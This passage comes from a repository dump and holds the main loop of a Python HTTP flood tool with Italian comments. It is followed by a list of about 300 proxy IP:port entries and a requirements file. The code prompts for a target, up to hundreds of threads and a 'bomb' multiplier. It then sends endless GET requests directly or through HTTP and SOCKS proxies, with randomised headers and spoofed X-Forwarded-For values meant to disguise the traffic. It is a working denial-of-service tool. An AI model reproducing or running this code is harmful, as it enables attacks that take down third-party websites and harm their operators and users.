| ")
547 | proxies = ""
548 | for proxy in part:
549 | proxy = proxy.split(" | ")
550 | try:
551 | proxies=proxies + proxy[0] + ":" + proxy[1] + "\n"
552 | except:
553 | pass
554 | out_file = open("proxy.txt","w")
555 | out_file.write("")
556 | out_file.write(proxies)
557 | out_file.close()
558 | print ("Proxies downloaded successfully.")
559 | except: # se succede qualche casino
560 | print ("\nERROR!\n")
561 | proxylist() # se va tutto liscio allora prosegue eseguendo la funzione proxylist()
562 |
563 | def proxylist():
564 | global proxies
565 | out_file = str(input("Enter the proxylist filename/path (proxy.txt): "))
566 | if out_file == "":
567 | out_file = "proxy.txt"
568 | proxies = open(out_file).readlines()
569 | numthreads()
570 |
571 | def numthreads():
572 | global threads
573 | try:
574 | threads = int(input("Insert number of threads (800): "))
575 | except ValueError:
576 | threads = 800
577 | print ("800 threads selected.\n")
578 | multiplication()
579 |
580 | def multiplication():
581 | global multiple
582 | try:
583 | multiple = int(input("Insert a number of multiplication for the attack [(1-5=normal)(50=powerful)(100 or more=bomb)]: "))
584 | except ValueError:
585 | print("You mistyped, try again.\n")
586 | multiplication()
587 | begin()
588 |
589 | def begin():
590 | choice6 = input("Press 'Enter' to start attack: ")
591 | if choice6 == "":
592 | loop()
593 | elif choice6 == "Enter": #lool
594 | loop()
595 | elif choice6 == "enter": #loool
596 | loop()
597 | else:
598 | exit(0)
599 |
600 | def loop():
601 | global threads
602 | global acceptall
603 | global connection
604 | global go
605 | global x
606 |
607 | acceptall = [
608 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n",
609 | "Accept-Encoding: gzip, deflate\r\n",
610 | "Accept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n",
611 | "Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: iso-8859-1\r\nAccept-Encoding: gzip\r\n",
612 | "Accept: application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n",
613 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n",
614 | "Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*\r\nAccept-Language: en-US,en;q=0.5\r\n",
615 | "Accept: text/html, application/xhtml+xml, image/jxr, */*\r\nAccept-Encoding: gzip\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n",
616 | "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Encoding: gzip\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n,"
617 | "Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\n",
618 | "Accept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n",
619 | "Accept: text/html, application/xhtml+xml",
620 | "Accept-Language: en-US,en;q=0.5\r\n",
621 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\n",
622 | "Accept: text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n",
623 | ] # header accept a caso per far sembrare le richieste più legittime
624 | connection = "Connection: Keep-Alive\r\n" # la keep alive torna sempre utile lol
625 | x = 0 # thanks therunixx, my friend
626 | go = threading.Event()
627 | if choice2 == "y": # se abbiamo scelto la modalita' proxying
628 | if choice3 == "0": # e abbiamo scelto gli HTTP proxy
629 | for x in range(threads):
630 | RequestProxyHTTP(x+1).start() # starta la classe apposita
631 | print ("Thread " + str(x) + " ready!")
632 | go.set() # questo fa avviare i threads appena sono tutti pronti
633 | else: # se abbiamo scelto i socks
634 | for x in range(threads):
635 | RequestSocksHTTP(x+1).start() # starta la classe apposita
636 | print ("Thread " + str(x) + " ready!")
637 | go.set() # questo fa avviare i threads appena sono tutti pronti
638 | else: # altrimenti manda richieste normali non proxate.
639 | for x in range(threads):
640 | RequestDefaultHTTP(x+1).start() # starta la classe apposita
641 | print ("Thread " + str(x) + " ready!")
642 | go.set() # questo fa avviare i threads appena sono tutti pronti
643 |
644 |
645 | class RequestProxyHTTP(threading.Thread): # la classe del multithreading
646 |
647 | def __init__(self, counter): # funzione messa su praticamente solo per il counter dei threads. Il parametro counter della funzione, passa l'x+1 di sopra come variabile counter
648 | threading.Thread.__init__(self)
649 | self.counter = counter
650 |
651 | def run(self): # la funzione che da' le istruzioni ai vari threads
652 | useragent = "User-Agent: " + random.choice(useragents) + "\r\n" # scelta useragent a caso
653 | accept = random.choice(acceptall) # scelta header accept a caso
654 | randomip = str(random.randint(0,255)) + "." + str(random.randint(0,255)) + "." + str(random.randint(0,255)) + "." + str(random.randint(0,255))
655 | forward = "X-Forwarded-For: " + randomip + "\r\n" # X-Forwarded-For, un header HTTP che permette di incrementare anonimato (vedi google per info)
656 | if choice1 == "1":
657 | ip = random.choice(ips)
658 | get_host = "GET " + ip + " HTTP/1.1\r\nHost: " + ip + "\r\n"
659 | else:
660 | get_host = "GET " + url + " HTTP/1.1\r\nHost: " + url2 + "\r\n"
661 | request = get_host + useragent + accept + forward + connection + "\r\n" # ecco la final request
662 | current = x # per dare l'id al thread
663 | if current < len(proxies): # se l'id del thread si puo' associare ad un proxy, usa quel proxy
664 | proxy = proxies[current].strip().split(':')
665 | else: # altrimenti lo prende a random
666 | proxy = random.choice(proxies).strip().split(":")
667 | go.wait() # aspetta che i threads siano pronti
668 | while True: # ciclo infinito
669 | try:
670 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # ecco il nostro socket
671 | s.connect((str(proxy[0]), int(proxy[1]))) # connessione al proxy
672 | s.send(str.encode(request)) # encode in bytes della richiesta HTTP
673 | print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # print delle richieste
674 | try: # invia altre richieste nello stesso thread
675 | for y in range(multiple): # fattore di moltiplicazione
676 | s.send(str.encode(request)) # encode in bytes della richiesta HTTP
677 | except: # se qualcosa va storto, chiude il socket e il ciclo ricomincia
678 | s.close()
679 | except:
680 | s.close() # se qualcosa va storto, chiude il socket e il ciclo ricomincia
681 |
682 | class RequestSocksHTTP(threading.Thread): # la classe del multithreading
683 |
684 | def __init__(self, counter): # funzione messa su praticamente solo per il counter dei threads. Il parametro counter della funzione, passa l'x+1 di sopra come variabile counter
685 | threading.Thread.__init__(self)
686 | self.counter = counter
687 |
688 | def run(self): # la funzione che da' le istruzioni ai vari threads
689 | useragent = "User-Agent: " + random.choice(useragents) + "\r\n" # scelta proxy a caso
690 | accept = random.choice(acceptall) # scelta accept a caso
691 | if choice1 == "1":
692 | ip = random.choice(ips)
693 | get_host = "GET " + ip + " HTTP/1.1\r\nHost: " + ip + "\r\n"
694 | else:
695 | get_host = "GET " + url + " HTTP/1.1\r\nHost: " + url2 + "\r\n"
696 | request = get_host + useragent + accept + connection + "\r\n" # composizione final request
697 | current = x # per dare l'id al thread
698 | if current < len(proxies): # se l'id del thread si puo' associare ad un proxy, usa quel proxy
699 | proxy = proxies[current].strip().split(':')
700 | else: # altrimenti lo prende a random
701 | proxy = random.choice(proxies).strip().split(":")
702 | go.wait() # aspetta che threads siano pronti
703 | while True:
704 | try:
705 | socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]), True) # comando per proxarci con i socks
706 | s = socks.socksocket() # creazione socket con pysocks
707 | s.connect((str(url2), int(urlport))) # connessione
708 | s.send (str.encode(request)) # invio
709 | print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # print req + counter
710 | try: # invia altre richieste nello stesso thread
711 | for y in range(multiple): # fattore di moltiplicazione
712 | s.send(str.encode(request)) # encode in bytes della richiesta HTTP
713 | except: # se qualcosa va storto, chiude il socket e il ciclo ricomincia
714 | s.close()
715 | except: # se qualcosa va storto questo except chiude il socket e si collega al try sotto
716 | s.close() # chiude socket
717 | try: # il try prova a vedere se l'errore e' causato dalla tipologia di socks errata, infatti prova con SOCKS4
718 | socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(proxy[0]), int(proxy[1]), True) # prova con SOCKS4
719 | s = socks.socksocket() # creazione nuovo socket
720 | s.connect((str(url2), int(urlport))) # connessione
721 | s.send (str.encode(request)) # invio
722 | print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # print req + counter
723 | try: # invia altre richieste nello stesso thread
724 | for y in range(multiple): # fattore di moltiplicazione
725 | s.send(str.encode(request)) # encode in bytes della richiesta HTTP
726 | except: # se qualcosa va storto, chiude il socket e il ciclo ricomincia
727 | s.close()
728 | except:
729 | print ("Sock down. Retrying request. @", self.counter)
730 | s.close() # se nemmeno con quel try si e' riuscito a inviare niente, allora il sock e' down e chiude il socket.
731 |
732 | class RequestDefaultHTTP(threading.Thread): # la classe del multithreading
733 |
734 | def __init__(self, counter): # funzione messa su praticamente solo per il counter dei threads. Il parametro counter della funzione, passa l'x+1 di sopra come variabile counter
735 | threading.Thread.__init__(self)
736 | self.counter = counter
737 |
738 | def run(self): # la funzione che da' le istruzioni ai vari threads
739 | useragent = "User-Agent: " + random.choice(useragents) + "\r\n" # useragent a caso
740 | accept = random.choice(acceptall) # accept a caso
741 | if choice1 == "1":
742 | ip = random.choice(ips)
743 | get_host = "GET " + ip + " HTTP/1.1\r\nHost: " + ip + "\r\n"
744 | else:
745 | get_host = "GET " + url + " HTTP/1.1\r\nHost: " + url2 + "\r\n"
746 | request = get_host + useragent + accept + connection + "\r\n" # composizione final request
747 | go.wait() # aspetta che i threads siano pronti
748 | while True:
749 | try:
750 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # creazione socket
751 | s.connect((str(url2), int(urlport))) # connessione
752 | s.send (str.encode(request)) # invio
753 | print ("Request sent! @", self.counter) # print req + counter
754 | try: # invia altre richieste nello stesso thread
755 | for y in range(multiple): # fattore di moltiplicazione
756 | s.send(str.encode(request)) # encode in bytes della richiesta HTTP
757 | except: # se qualcosa va storto, chiude il socket e il ciclo ricomincia
758 | s.close()
759 | except: # se qualcosa va storto
760 | s.close() # chiude socket e ricomincia
761 |
762 |
763 | if __name__ == '__main__':
764 | starturl()
--------------------------------------------------------------------------------
/img:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/proxy.txt:
--------------------------------------------------------------------------------
1 | 125.26.99.223:36506
2 | 157.230.103.189:46286
3 | 193.110.115.220:3128
4 | 93.117.72.27:43631
5 | 14.99.235.174:80
6 | 208.80.28.208:8080
7 | 14.99.235.168:80
8 | 5.189.133.231:80
9 | 165.22.64.68:46547
10 | 104.248.90.212:80
11 | 118.27.28.45:3128
12 | 212.191.132.210:8080
13 | 64.225.65.250:80
14 | 195.146.50.22:3128
15 | 46.227.133.42:8080
16 | 37.79.254.152:3128
17 | 51.81.113.246:80
18 | 88.198.24.108:8080
19 | 176.9.75.42:8080
20 | 159.203.61.169:3128
21 | 176.9.119.170:8080
22 | 80.48.119.28:8080
23 | 139.5.71.70:23500
24 | 193.183.217.67:8118
25 | 110.44.124.220:55443
26 | 124.41.211.211:43979
27 | 195.25.19.4:8080
28 | 27.109.116.119:23500
29 | 41.194.37.106:45381
30 | 31.14.49.1:8080
31 | 79.164.171.32:36512
32 | 1.179.183.73:50178
33 | 52.69.19.32:80
34 | 78.111.97.182:3142
35 | 93.175.203.124:56593
36 | 103.121.58.235:3128
37 | 179.49.57.150:6666
38 | 186.229.25.18:8080
39 | 45.8.116.127:8080
40 | 175.100.103.170:55443
41 | 103.11.106.69:8181
42 | 14.63.227.88:80
43 | 117.120.58.129:41132
44 | 118.27.1.112:3128
45 | 91.135.148.198:51498
46 | 14.162.145.116:53475
47 | 37.120.192.154:8080
48 | 81.18.34.98:42535
49 | 1.20.103.196:42792
50 | 171.100.9.126:49163
51 | 46.150.76.25:37354
52 | 46.227.133.43:8080
53 | 107.1.80.135:80
54 | 49.0.82.190:8080
55 | 175.141.69.200:80
56 | 195.158.3.198:3128
57 | 188.166.52.211:80
58 | 85.47.31.179:3128
59 | 182.16.181.20:80
60 | 159.65.171.69:80
61 | 5.165.47.119:53281
62 | 136.232.209.70:47423
63 | 182.253.115.93:8080
64 | 14.99.235.171:80
65 | 104.248.37.207:80
66 | 51.75.147.35:3128
67 | 68.94.189.60:80
68 | 154.16.63.16:3128
69 | 161.35.146.222:80
70 | 114.5.35.98:38554
71 | 103.29.167.72:3888
72 | 2.139.232.101:3128
73 | 187.111.176.129:8080
74 | 188.168.75.254:56899
75 | 110.76.128.53:42670
76 | 197.220.109.222:80
77 | 119.2.54.204:44495
78 | 111.92.240.134:30598
79 | 180.250.12.10:80
80 | 181.30.60.147:8080
81 | 179.127.13.148:3128
82 | 139.59.124.158:8118
83 | 46.4.96.137:3128
84 | 35.235.115.241:80
85 | 60.246.7.4:8080
86 | 88.198.50.103:8080
87 | 183.88.224.206:8080
88 | 181.30.60.148:8080
89 | 41.65.174.66:8080
90 | 146.120.168.98:9989
91 | 1.20.100.227:57396
92 | 103.156.225.18:8080
93 | 103.152.5.70:8080
94 | 139.162.78.109:8080
95 | 142.93.223.219:8080
96 | 213.207.37.214:53281
97 | 103.215.177.231:80
98 | 34.64.169.221:80
99 | 103.57.70.231:39143
100 | 1.10.188.78:45208
101 | 1.224.161.57:8081
102 | 34.207.212.90:80
103 | 104.248.48.233:31583
104 | 178.128.13.5:8080
105 | 3.17.14.120:3128
106 | 159.203.1.75:8080
107 | 185.110.238.20:8080
108 | 52.53.155.82:3128
109 | 13.52.79.25:3128
110 | 36.73.181.24:80
111 | 124.122.114.254:8080
112 | 83.103.193.74:13192
113 | 213.136.88.55:80
114 | 3.96.101.246:80
115 | 105.27.116.46:30032
116 | 124.158.88.56:54555
117 | 124.41.211.188:38656
118 | 213.230.69.33:8080
119 | 188.168.56.82:55443
120 | 220.149.25.33:80
121 | 192.109.165.239:80
122 | 154.72.187.90:55443
123 | 185.65.80.39:80
124 | 89.187.177.101:80
125 | 78.141.212.200:8888
126 | 202.148.4.92:8080
127 | 43.245.202.15:57396
128 | 115.75.1.184:8118
129 | 103.231.218.126:53281
130 | 188.0.138.11:8080
131 | 77.238.79.111:8080
132 | 51.81.82.175:80
133 | 160.119.128.102:21213
134 | 123.253.36.99:8080
135 | 2.144.230.229:8080
136 | 105.247.67.115:8080
137 | 212.129.34.163:3128
138 | 103.106.219.121:8080
139 | 119.206.242.196:80
140 | 195.98.246.112:80
141 | 103.216.82.22:6666
142 | 62.106.122.90:38678
143 | 13.92.119.142:80
144 | 185.33.37.188:3128
145 | 103.78.254.78:80
146 | 176.113.157.149:42850
147 | 89.187.177.105:80
148 | 118.27.17.151:3128
149 | 203.202.245.62:80
150 | 197.242.206.64:41948
151 | 136.243.254.196:80
152 | 139.255.199.242:80
153 | 78.47.16.54:80
154 | 46.241.120.230:32412
155 | 181.198.97.241:30072
156 | 213.6.101.174:23500
157 | 64.4.94.129:80
158 | 197.210.217.66:34808
159 | 110.74.222.159:40348
160 | 111.118.135.132:56627
161 | 175.141.69.203:80
162 | 43.224.8.116:6666
163 | 185.131.62.250:53281
164 | 178.172.208.244:32231
165 | 103.76.190.193:49939
166 | 143.255.52.67:31158
167 | 103.83.116.202:55443
168 | 173.212.202.65:80
169 | 117.197.102.198:80
170 | 185.156.172.122:3128
171 | 212.95.180.50:53281
172 | 218.147.194.10:80
173 | 41.221.158.186:31932
174 | 139.5.16.174:59933
175 | 103.134.254.9:80
176 | 198.50.163.192:3129
177 | 36.94.37.66:8080
178 | 85.175.227.3:7014
179 | 96.9.77.71:8080
180 | 45.64.179.210:53281
181 | 192.109.165.35:80
182 | 217.219.31.210:38073
183 | 113.160.235.49:8080
184 | 191.97.0.101:999
185 | 109.92.131.90:6666
186 | 142.44.173.241:3128
187 | 203.130.204.130:8080
188 | 202.138.127.66:80
189 | 183.89.153.18:8080
190 | 124.121.18.234:8080
191 | 180.246.5.242:8080
192 | 79.104.25.218:8080
193 | 195.7.9.141:8080
194 | 138.97.200.84:8080
195 | 46.99.183.154:8080
196 | 124.107.185.189:3128
197 | 158.255.215.44:1328
198 | 84.53.247.204:53281
199 | 41.65.201.174:5555
200 | 202.142.184.166:53731
201 | 202.131.234.142:39330
202 | 212.115.232.79:31280
203 | 85.172.39.174:47326
204 | 139.59.122.42:8118
205 | 103.36.11.240:14571
206 | 122.58.118.224:8080
207 | 195.78.93.28:3128
208 | 104.128.228.69:8118
209 | 178.128.125.16:41989
210 | 88.248.23.216:36426
211 | 37.26.136.181:52271
212 | 180.183.115.179:3128
213 | 218.147.194.39:80
214 | 58.69.161.161:8080
215 | 77.93.42.134:47803
216 | 31.43.181.189:8080
217 | 47.75.90.57:80
218 | 5.253.26.229:80
219 | 27.50.18.42:23500
220 | 167.179.98.15:8080
221 | 201.217.49.2:80
222 | 125.141.117.38:80
223 | 41.79.33.170:8080
224 | 134.157.93.238:80
225 | 5.202.192.146:8080
226 | 45.7.205.103:39750
227 | 103.52.171.165:8080
228 | 188.120.235.217:8118
229 | 3.6.251.241:80
230 | 162.243.244.206:80
231 | 109.238.222.5:40387
232 | 187.45.123.137:36559
233 | 182.253.173.93:8080
234 | 158.101.19.129:80
235 | 103.209.65.12:6666
236 | 178.198.228.58:808
237 | 139.99.102.114:80
238 | 41.87.64.210:8080
239 | 89.187.177.95:80
240 | 182.23.79.162:39902
241 | 103.241.227.107:6666
242 | 131.196.143.41:33729
243 | 188.133.165.206:56145
244 | 178.47.139.151:35102
245 | 77.233.10.214:8080
246 | 103.46.234.193:83
247 | 41.222.159.186:8080
248 | 202.131.113.37:3128
249 | 45.251.228.217:8080
250 | 54.179.93.69:80
251 | 201.65.226.82:3128
252 | 200.68.62.10:8080
253 | 186.159.5.160:80
254 | 188.133.192.164:8080
255 | 101.255.127.186:8080
256 | 41.72.196.49:8080
257 | 179.43.96.178:8080
258 | 161.97.78.92:80
259 | 150.109.32.166:80
260 | 14.161.47.64:8085
261 | 103.24.107.75:8089
262 | 41.87.73.182:8080
263 | 85.221.247.237:8080
264 | 168.228.195.3:999
265 | 51.75.147.44:3128
266 | 95.213.144.199:80
267 | 36.89.8.235:8080
268 | 12.69.91.226:80
269 | 81.95.230.211:3128
270 | 177.74.67.250:8080
271 | 193.149.225.228:80
272 | 95.79.55.196:53281
273 | 18.130.128.152:80
274 | 192.109.165.108:80
275 | 108.30.209.198:80
276 | 200.198.220.159:80
277 | 196.2.14.250:45521
278 | 103.157.116.199:8080
279 | 191.101.39.154:80
280 | 191.101.39.63:80
281 | 191.101.39.105:80
282 | 191.101.39.237:80
283 | 192.117.146.110:80
284 | 200.174.158.26:34112
285 | 191.101.39.135:80
286 | 54.212.157.49:80
287 | 192.109.165.41:80
288 | 192.109.165.124:80
289 | 191.101.39.238:80
290 | 191.101.39.54:80
291 | 183.88.110.250:8080
292 | 118.174.232.92:45759
293 | 152.67.24.187:80
294 | 89.187.177.97:80
295 | 89.187.177.103:80
296 | 167.172.180.46:42134
297 | 51.159.24.172:3162
298 | 89.187.177.86:80
299 | 161.35.97.206:80
300 | 89.187.177.93:80
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | socks
2 | sockets
3 | urllib3
4 | git
5 | python
6 | python2
7 | requests
8 | threading
--------------------------------------------------------------------------------
|